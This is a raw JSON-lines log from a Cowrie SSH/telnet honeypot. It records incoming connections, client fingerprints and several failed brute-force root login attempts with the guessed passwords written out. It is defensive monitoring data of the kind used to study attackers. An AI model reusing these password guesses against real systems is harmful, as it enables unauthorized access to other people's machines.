{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:34.186467Z","src_ip":"192.169.243.246","session":"276d1c277d76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:34.266899Z","src_ip":"192.169.243.246","session":"276d1c277d76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trinity","message":"login attempt [root/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:34.601262Z","src_ip":"192.169.243.246","session":"276d1c277d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:35.679593Z","src_ip":"192.169.243.246","session":"276d1c277d76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":38494,"dst_ip":"10.17.0.5","dst_port":22,"session":"461d0d635f5c","protocol":"ssh","message":"New connection: 95.58.255.251:38494 (10.17.0.5:22) [session: 461d0d635f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:48.291201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:48.295743Z","src_ip":"95.58.255.251","session":"461d0d635f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:48.465717Z","src_ip":"95.58.255.251","session":"461d0d635f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lol","message":"login attempt [root/lol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:49.176813Z","src_ip":"95.58.255.251","session":"461d0d635f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:20:50.349522Z","src_ip":"95.58.255.251","session":"461d0d635f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":44764,"dst_ip":"10.17.0.5","dst_port":22,"session":"143e50ee9a2d","protocol":"ssh","message":"New connection: 43.162.109.147:44764 (10.17.0.5:22) [session: 143e50ee9a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:32.113752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:32.118757Z","src_ip":"43.162.109.147","session":"143e50ee9a2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:32.187844Z","src_ip":"43.162.109.147","session":"143e50ee9a2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aloalo","message":"login attempt [root/aloalo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:32.492836Z","src_ip":"43.162.109.147","session":"143e50ee9a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:33.563474Z","src_ip":"43.162.109.147","session":"143e50ee9a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.91","src_port":57466,"dst_ip":"159.203.135.109","dst_port":22,"session":"d14aad2b488a","protocol":"ssh","message":"New connection: 198.235.24.91:57466 (159.203.135.109:22) [session: d14aad2b488a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:34.816958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:35.551774Z","src_ip":"198.235.24.91","session":"d14aad2b488a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:36.992177Z","src_ip":"198.235.24.91","session":"d14aad2b488a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.182.252.6","src_port":48174,"dst_ip":"159.203.135.109","dst_port":23,"session":"16202a8760f9","protocol":"telnet","message":"New connection: 60.182.252.6:48174 (159.203.135.109:23) [session: 16202a8760f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:39.152840Z"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:45.827942Z","src_ip":"198.235.24.91","session":"d14aad2b488a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":52474,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebc483c79535","protocol":"ssh","message":"New connection: 192.169.243.246:52474 (159.203.135.109:22) [session: ebc483c79535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:47.931129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:48.013427Z","src_ip":"192.169.243.246","session":"ebc483c79535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:48.398103Z","src_ip":"192.169.243.246","session":"ebc483c79535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc#123","message":"login attempt [root/abc#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:49.832077Z","src_ip":"192.169.243.246","session":"ebc483c79535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:50.981303Z","src_ip":"192.169.243.246","session":"ebc483c79535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.917308568954468,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:21:51.070058Z","src_ip":"60.182.252.6","session":"16202a8760f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":58772,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9d3f71d1c28","protocol":"ssh","message":"New connection: 95.58.255.251:58772 (10.17.0.5:22) [session: e9d3f71d1c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:00.959125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:00.963802Z","src_ip":"95.58.255.251","session":"e9d3f71d1c28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:01.132590Z","src_ip":"95.58.255.251","session":"e9d3f71d1c28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"udin","message":"login attempt [root/udin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:01.842152Z","src_ip":"95.58.255.251","session":"e9d3f71d1c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:03.015746Z","src_ip":"95.58.255.251","session":"e9d3f71d1c28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38472,"dst_ip":"159.203.135.109","dst_port":22,"session":"0901a49af7c2","protocol":"ssh","message":"New connection: 194.59.206.2:38472 (159.203.135.109:22) [session: 0901a49af7c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:17.242959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:17.248002Z","src_ip":"194.59.206.2","session":"0901a49af7c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:17.341799Z","src_ip":"194.59.206.2","session":"0901a49af7c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:17.436314Z","src_ip":"194.59.206.2","session":"0901a49af7c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.118.158.105","src_port":41933,"dst_ip":"159.203.135.109","dst_port":23,"session":"99a36a6e6752","protocol":"telnet","message":"New connection: 45.118.158.105:41933 (159.203.135.109:23) [session: 99a36a6e6752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:24.928979Z"}
{"eventid":"cowrie.session.closed","duration":12.973058938980103,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:37.901899Z","src_ip":"45.118.158.105","session":"99a36a6e6752","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":41712,"dst_ip":"10.17.0.5","dst_port":23,"session":"69757f09e437","protocol":"telnet","message":"New connection: 167.71.238.254:41712 (10.17.0.5:23) [session: 69757f09e437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:50.386306Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":51764,"dst_ip":"159.203.135.109","dst_port":22,"session":"8677677501b9","protocol":"ssh","message":"New connection: 192.169.243.246:51764 (159.203.135.109:22) [session: 8677677501b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:59.886953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:59.892478Z","src_ip":"192.169.243.246","session":"8677677501b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:22:59.968631Z","src_ip":"192.169.243.246","session":"8677677501b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vision123","message":"login attempt [root/vision123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:00.303138Z","src_ip":"192.169.243.246","session":"8677677501b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:01.385201Z","src_ip":"192.169.243.246","session":"8677677501b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":50628,"dst_ip":"10.17.0.5","dst_port":22,"session":"b633442b840c","protocol":"ssh","message":"New connection: 95.58.255.251:50628 (10.17.0.5:22) [session: b633442b840c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:23:12.175443Z"}
